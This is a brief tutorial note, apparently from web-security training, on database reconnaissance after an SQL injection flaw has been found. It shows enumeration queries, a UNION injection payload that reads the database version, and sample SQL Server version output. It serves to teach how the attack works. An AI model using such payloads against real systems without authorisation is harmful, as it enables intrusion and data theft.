1 KiB
1 KiB
Examining the Database
Following initial identification of an SQL injection vulnerability, it is generally useful to obtain some information about the database itself. This information can often pave the way for further exploitation.
- Specific syntax depends on the database type
Enumerating Version (Oracle)
SELECT * FROM v$version
Enumerating Tables
SELECT * FROM information_schema.tables
More Examination
Information you need to gather:
- Type of database software
- Version of database software
- Contents of the database (columns and tables)
Querying the Database Type and Version !
Example of using a UNION attack:
' UNION SELECT @@version--
Might return the following version information:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build
14393: ) (Hypervisor)